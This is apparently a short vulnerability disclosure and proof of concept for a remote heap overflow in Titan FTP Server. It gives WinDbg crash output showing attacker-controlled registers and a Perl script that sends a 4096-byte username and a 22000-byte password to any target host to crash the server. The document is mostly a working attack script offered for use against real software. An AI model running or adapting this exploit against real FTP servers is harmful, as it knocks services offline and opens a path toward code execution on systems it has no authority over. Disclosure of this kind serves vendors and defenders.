#Titan FTP SERVER REMOTE HEAP OVERFLOW(USER/PASS) #Impact : Critical # # Windbg Output: #(bec.528): Access violation - code c0000005 (first chance) #First chance exceptions are reported before any exception handling. #This exception may be expected and handled. #eax=41414141 ebx=00000000 ecx=07e415f4 edx=00000000 esi=41414141 edi=07e415f4 #eip=004bbafa esp=06e4fb38 ebp=06e4fb5c iopl=0 nv up ei pl nz na po nc #cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 #srxTitan+0xbbafa: #004bbafa 8930 mov [eax],esi ds:0023:41414141=???????? # # When reconnecting : # #(bec.c60): Access violation - code c0000005 (first chance) #First chance exceptions are reported before any exception handling. #This exception may be expected and handled. #eax=004bb991 ebx=00000000 ecx=41414141 edx=0129e4e8 esi=0129e4d4 edi=41414141 #eip=004bb977 esp=0714fe7c ebp=0714fe9c iopl=0 nv up ei pl zr na po nc #cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 #srxTitan+0xbb977: #004bb977 8b01 mov eax,[ecx] ds:0023:41414141=???????? # # Server crash after reconnecting. # #Here's the Poc use Net::FTP; (($target = $ARGV[0])) || die "usage:$0 "; my $user = "A" x 4096; my $pass = "A" x 22000; print "Trying to connect to :$target...\n"; $ftp = Net::FTP->new($target, Debug => 0, Port => 21) || die "could not connect"; print "Connected!\n"; $ftp->login($user, $pass); print "Poc Successfull\n"; $ftp->quit;